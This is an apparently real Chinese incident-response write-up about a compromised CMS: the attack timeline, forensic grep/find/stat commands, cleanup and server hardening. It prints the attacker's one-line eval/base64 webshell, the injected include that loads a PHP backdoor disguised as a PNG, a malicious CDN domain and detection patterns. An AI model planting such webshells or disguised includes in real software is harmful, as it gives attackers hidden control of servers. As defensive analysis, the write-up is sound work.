一次 CMS 被黑实录:完整事件思路梳理

一、攻击者的入侵路径(时间线正序)

1. 初始入口:利用 CMS 后台升级功能上传恶意文件

  • 时间2026-05-27 11:40:54

  • 入口/szadmin.php?p=/Upgrade/down&list=/1531651052464522.png

  • 行为:攻击者通过 CMS 后台的"升级/下载"接口,将伪装成 PNG 图片的 PHP 后门文件写入服务器静态目录。

  • 关键点:这个接口可能存在任意文件下载/上传漏洞,或者攻击者已获取后台管理员权限,能够使用合法功能上传文件。

2. 部署持久化后门(图片马)

  • 文件名1531651052464522.png

  • 内容:一个完整的 PHP WebShell,包含动态密码验证和代码执行功能。

  • 位置/static/upload/image/20180715/(静态上传目录,Web 可访问)

  • 目的:上传一个隐蔽的后门文件,作为长期控制入口。

3. 篡改核心文件,实现自动加载

  • 同一分钟(11:40),攻击者修改了三个文件:

    • /core/init.php:插入 @include(dirname(__FILE__) . '/../static/upload/image/20180715/1531651052464522.png');

    • /core/view/View.php:被篡改(可能有进一步恶意代码)

    • /core/basic/Check.php:被植入混淆 JavaScript,加载假 CDN 域名

  • 效果:网站每次初始化都会自动包含图片后门,即使攻击者不主动访问,后门也会随系统运行而加载。

4. 静默潜伏期(约 1.5 个月)

  • 2026-05-272026-07-08,攻击者没有触发主木马,可能:

    • 等待更多站点被感染

    • 利用后门进行信息收集

    • 仅保持持久化,伺机而动

5. 投放第二层 WebShell(66 字节小马)

  • 时间2026-07-08 03:19:05

  • 文件名/core/template/bzze4ztt.php

  • 内容<?php eval(base64_decode(base64_decode($_POST["ant"])));?>helloxzx

  • 目的:作为紧急执行入口,无需依赖图片马,可直接通过 POST 参数执行任意 PHP 代码。

6. 探测与执行

  • 03:19:06 → GET 请求,页面返回 helloxzx,确认木马可访问。

  • 03:22:02 → POST 请求,通过 ant 参数传递双层 base64 编码的代码,试图读写 /core/init.php

  • 日志报错file_get_contents(core/init.php) 失败(相对路径问题),但后续成功修改了 init.php(可能是修正路径后重试)。


二、防守方的应急响应思路(按操作顺序)

阶段一:发现与确认

  1. 收到阿里云告警 → 定位可疑文件 bzze4ztt.php

  2. 查看文件状态stat)→ 确认创建时间、属主、大小。

  3. 查访问日志grep)→ 找到 GET/POST 请求记录,确认是活跃木马。

  4. 分析代码内容 → 识别出双层 base64 解码 + eval 的执行方式,以及探测标记 helloxzx

  5. 查看错误日志 → 发现攻击者试图读写 core/init.php,说明其目标是植入持久化后门。

阶段二:深入排查

  1. 检查 init.php → 发现 pack('H*', ...) 包含的十六进制字符串,解码后指向图片文件 1531651052464522.png

  2. 分析图片文件 → 发现它不是图片,而是 PHP 后门代码(含动态密码)。

  3. 查看图片文件元数据 → 创建于 2026-05-27,早于 WebShell 一个多月。

  4. 查图片上传日志 → 发现通过 /szadmin.php?p=/Upgrade/down 上传,确认初始入侵点。

  5. 时间关联查找 → 用 find 搜索同一时间段的修改文件,发现 View.phpCheck.php 也被篡改。

  6. 分析 Check.php → 发现混淆 JS,加载假 CDN 域名 cdn.jsdclivir.com,确认是恶意注入。

阶段三:隔离与清除

  1. 隔离可疑文件chmod 000)→ 阻止继续执行,保留证据。

  2. 备份证据 → 复制到隔离目录 /root/malware-quarantine/

  3. 删除后门文件rm -f)→ 清除 bzze4ztt.php 和图片马。

  4. 恢复核心文件 → 从干净版本覆盖 init.phpCheck.phpView.php,或手工清理注入代码。

阶段四:全面检测与加固

  1. 扫描全站 PHP 文件grep 特征函数)→ 查找其他可能的隐藏后门。

  2. 检索特定关键词(木马名、域名、探测标记)→ 定位所有相关痕迹。

  3. 追溯攻击 IPgrep 日志)→ 找出攻击者 IP 及其所有请求,评估影响范围。

  4. 查找近期新增 PHP 文件find)→ 发现可能遗漏的 shell。

  5. 权限最小化

    • 核心目录属主改为 root:root,权限 755(不可写)。

    • 运行目录和上传目录保留 www:www 可写。

  6. 禁用静态目录执行 PHP(Nginx 规则)→ 即使上传木马也无法执行。

  7. 检查计划任务crontab)→ 排除定时后门。

  8. 检查异常进程ps)→ 排除挖矿、远控等。

阶段五:长期加固

  1. 升级 CMS 到最新版,修复上传/升级漏洞。

  2. 修改所有相关密码:后台管理员、数据库、面板、FTP/SSH。

  3. 更改后台入口文件名 (如 szadmin.php 改名)。

  4. 审查管理员账号,删除异常账号。


三、攻击者的策略思路分析

策略 具体手法 目的
多层后门 图片马(长期持久)+ 小 WebShell(快捷执行) 提高生存能力,一个被发现还有另一个
伪装成图片 .png 文件包含 PHP 代码,通过 include 执行 绕过文件类型检查,躲过文件扫描
隐藏调用 init.php 中插入 @include,每次请求自动加载 无需外部访问,自动执行后门
动态密码 基于访问者 IP 的 MD5 后 8 位作为参数名 防止被扫描器或他人触发,只允许自己使用
版本兼容 判断 PHP 版本,使用不同执行方式(mb_ereg_replaceeval 适配不同 PHP 版本,提高通用性
代码混淆 十六进制编码路径、混淆 JS 增加分析难度,延迟被发现
时间跨度 先植入持久化后门,一个月后再使用 避开早期排查,降低被发现的概率
利用合法接口 通过 CMS 升级功能上传文件 不直接上传恶意文件,减少触发安全策略

四、防守方的教训与改进

暴露的问题

  1. Web 用户权限过大www:www 能写入核心代码目录 → 攻击者可以篡改 init.php 等关键文件。

  2. 上传目录可执行 PHP :静态目录允许解析 .php 文件 → 图片马可直接作为 PHP 执行。

  3. CMS 存在未修复漏洞:升级接口存在任意文件上传/下载漏洞。

  4. 日志监控不足:近两个月内,图片马没有被及时发现。

  5. 密码/凭据可能泄露:攻击者能登录后台,说明管理员密码可能已被获取。

改进措施(已在文档中实施)

  • 权限分离(核心文件只读,仅运行/上传目录可写)。

  • 禁止上传目录执行 PHP。

  • 全面扫描并更新 CMS。

  • 更改所有密码和入口。

  • 增加日志告警机制。


五、完整攻击链图(文字版)

text

复制代码
初始入口(CMS升级功能)
    ↓
上传伪装图片后门(图片马)
    ↓
篡改 init.php,自动 include 图片马(持久化)
    ↓
篡改 View.php、Check.php(备选后门/混淆)
    ↓
潜伏 1.5 个月
    ↓
投放小 WebShell(bzze4ztt.php)
    ↓
访问探测(GET),确认存活
    ↓
POST 执行代码,试图修改 init.php(强化持久化)
    ↓
触发阿里云告警
    ↓
防守方介入,开始排查
    ↓
逐层清除 + 加固

六、关键命令提取与解析

下面按文档出现的顺序,列出所有关键命令,说明其用途及执行结果的含义。

命令 用途 结果/输出含义
sudo stat /www/xxx/xxx/core/template/bzze4ztt.php 查看文件元数据(大小、权限、时间戳) 显示文件大小 66 字节,属主 www:www,创建/修改时间 2026-07-08 03:19:05,证明该文件是近期被创建的
sudo grep -R "bzze4ztt.php" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null 在所有 Web 日志目录中递归搜索包含该文件名的记录 找到 GET 和 POST 请求日志,证明攻击者访问并执行了该木马
sudo grep -R "POST /core/template/bzze4ztt.php" /www/wwwlg/nginx /var/log/apache2 2>/dev/null 专门搜索 POST 请求日志 发现 FastCGI 错误日志,其中包含 file_get_contentsfile_put_contents 的报错,说明攻击者通过木马执行了文件读写操作
pack('H*','2f2e2e2f7374617469632f75706c6f61642f696d6167652f32303138303731352f313533313635313035323436343532322e706e67') 解码十六进制字符串(PHP 代码) 得到路径 /../static/upload/image/20180715/1531651052464522.png,揭示了隐藏的图片后门
sudo stat /www/xxx/xxx/xxx/xxx/xxx/20180715/1531651052464522.png 查看图片后门文件元数据 创建于 2026-05-27 11:40:54,属主 www:www,证明该文件早于 WebShell 被植入
sudo grep -R "1531651052464522.png" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null 搜索该图片文件的访问日志 找到一条 GET 请求,路径为 /szadmin.php?p=/Upgrade/down&list=/1531651052464522.png,说明攻击者通过后台升级功能上传了该文件
sudo find /www/xxx/xxx -type f -newermt "2026-05-27 11:30:00" ! -newermt "2026-05-27 12:00:00" -ls 查找指定时间段内修改过的文件 列出 3 个文件:伪装图片、View.php、Check.php,证明同一时间多个核心文件被篡改
sudo chmod 000 /www/xxx/xxx/core/template/bzze4ztt.php 移除木马文件的所有权限(读、写、执行) 隔离文件,使其无法被 Web 进程访问或执行
sudo mkdir -p /root/malware-quarantine/20260721 及后续 cp -a 创建隔离目录并备份可疑文件 保留证据用于后续分析或报告
sudo rm -f ... 强制删除后门文件 清除木马,但需先备份
`sudo grep -RIn --include="*.php" -E "eval( assert( base64_decode
`sudo grep -RIn "bzze4ztt.php 1531651052464522.png cdn.jsdclivir.com
sudo grep -R "209.9.201.21" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null 搜索特定攻击 IP 的访问记录 查看该 IP 的所有请求,帮助追溯攻击路径
sudo find /www/xxx/xxx -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.phar" \) -mtime -60 -ls 查找最近 60 天内新建或修改的 PHP 类文件 发现近期新增的可疑脚本
sudo chown -R root:root /www/xxx/xxx/core 将核心代码目录属主改为 root 阻止 Web 进程(www)写入核心文件,提升安全性
sudo chmod -R 755 /www/xxx/xxx/core 设置目录权限为 755(rwxr-xr-x) Web 用户可读和执行,但不可写(除非目录本身可写)
sudo chown -R www:www /www/xxx/xxx/runtime.../static/upload 将可写目录(缓存、上传)属主改为 www 允许 Web 进程正常写入运行缓存和用户上传
后续 Nginx 配置:`location ~* ^/static/upload/.*.(php ...)$ { deny all; }` 禁止上传目录中的 PHP 文件被执行
sudo crontab -l 查看计划任务 检查是否有恶意定时任务(后门守护)
`ps aux grep -E "php wget

七、命令操作导致的结果及其含义

  • stat → 确认文件时间戳,建立时间线,判断入侵发生时间。

  • grep 日志 → 确认攻击者访问行为,还原攻击手法(GET 探测 → POST 执行 → 读写文件)。

  • pack 解码 → 发现隐藏的图片后门,理解持久化手段。

  • find 按时间查找 → 定位同批次被篡改的其他文件,扩大排查范围。

  • chmod 000 → 立即隔离,防止继续执行,但保留了文件用于分析。

  • chown / chmod 权限调整 → 最小化权限,防止 Web 用户写入核心代码,是长期加固措施。

  • Nginx 规则 → 即使有漏网之鱼,也禁止在 upload 目录执行 PHP,阻断后续攻击。

  • crontab / ps 检查 → 排查后门持久化机制(如定时反弹 Shell、挖矿进程)。

八、相关工具/命令简略使用手册

1. stat -- 查看文件详细状态

bash

复制代码
stat [选项] 文件
常用选项:-c 格式化输出(如 %y 修改时间)
示例:stat -c %y /path/to/file   # 只显示修改时间

用途:获取文件大小、权限、属主、三个时间戳(访问/修改/状态改变)和创建时间(Birth),用于溯源。


2. grep -- 文本搜索

bash

复制代码
grep [选项] 模式 [文件/目录]
常用选项:
  -R  递归搜索目录
  -i  忽略大小写
  -n  显示行号
  -l  只显示文件名
  -E  扩展正则
  -v  反向匹配
示例:grep -RIn "eval" /var/www/html/

用途:在日志或代码中查找恶意特征、特定 IP 或文件名。


3. find -- 查找文件

bash

复制代码
find [路径] [条件] [动作]
常用条件:
  -name "*.php"   按文件名
  -type f         只查文件
  -mtime -7       修改时间在 7 天内
  -newermt "2023-01-01"  比指定时间新
  -perm 644       按权限
动作:-ls 列出详细信息,-exec 执行命令
示例:find /www -type f -name "*.php" -mtime -1 -ls

用途:定位近期新增或修改的可疑文件。


4. chmod -- 修改权限

bash

复制代码
chmod [权限] 文件/目录
常用:数字法 755 (rwxr-xr-x), 644 (rw-r--r--), 000 (---------)
示例:chmod 000 malicious.php   # 禁止任何访问

用途:隔离木马,限制 Web 用户写入。


5. chown -- 修改属主

bash

复制代码
chown [用户:组] 文件/目录
-R 递归修改
示例:chown -R root:root /var/www/core

用途:将核心代码属主改为 root,防止 www 用户篡改。


6. crontab -- 计划任务管理

bash

复制代码
crontab -l          # 列出当前用户的任务
crontab -u www -l   # 列出指定用户的任务
crontab -e          # 编辑任务

用途:检查是否有恶意定时任务(如反弹 shell、下载器)。


7. ps -- 进程查看

bash

复制代码
ps aux              # 显示所有进程(详细)
ps aux | grep php   # 过滤 PHP 进程
ps -ef              # 另一种格式

用途:发现异常进程(挖矿、后门、远程控制)。


8. nginx 配置 -- 禁止目录执行 PHP

nginx

复制代码
location ~* ^/static/upload/.*\.(php|php5|phtml|phar|shtml)$ {
    deny all;
}

或者更严格:

nginx

复制代码
location ^~ /static/upload/ {
    location ~ \.php$ {
        deny all;
    }
}

用途:防止上传目录中的恶意 PHP 文件被解析执行。

九、总结

这次入侵事件并非单一漏洞利用,而是一次有组织的、多阶段、多后门、持久化的攻击。攻击者:

  • 利用了 CMS 后台升级功能(可能是逻辑漏洞或凭据泄露);

  • 上传了难以被发现的图片马;

  • 通过篡改核心初始化文件,实现了自动加载;

  • 后续又添加了第二层 WebShell 作为备用执行入口;

  • 整个过程持续近两个月,直到木马被触发执行时才被发现。

防守方的成功之处在于:

  • 及时响应云平台告警;

  • 没有只删除表象文件,而是溯源到根因;

  • 进行了全盘扫描和权限加固;

  • 最后实施了全面的密码更新和系统升级。

这起事件生动地说明:应急响应不是删一个文件就完事,而是要还原入侵路径、清除所有隐藏后门、修复漏洞并加固系统,才能真正消除隐患。

相关推荐
zhonyu鱼36 分钟前
Escrcpy:用电脑键盘鼠标操作安卓手机的跨平台投屏工具
android·计算机外设·电脑
AIkk8639 分钟前
2026AI智能体培训机构客观测评|零基础到进阶全方位择校指南
学习
千里马学框架42 分钟前
安卓开机性能优化:如何安全高效地裁剪 SystemService
android·智能手机·framework·wms·手机·性能·车载
Android打工仔1 小时前
一次 Android 拍照后卡顿的 Perfetto 定位与优化实践
android·性能优化
M78佐菲1 小时前
Linux学习笔记:进程回收、exec函数簇与线程
linux·笔记·学习·算法
OpenFDE开源桌面1 小时前
实操:如何将安卓 App与Linux系统应用级融合(附代码)
android·linux
xiangxiongfly9151 小时前
Android VideoView总结
android·videoview
小眼睛和小僵尸1 小时前
【咨询】想问下宇宙的一些事情
学习·全球发展
杉氧1 小时前
从 Modifier 到 Flexbox:React Native 布局与样式设计哲学
android·前端·react native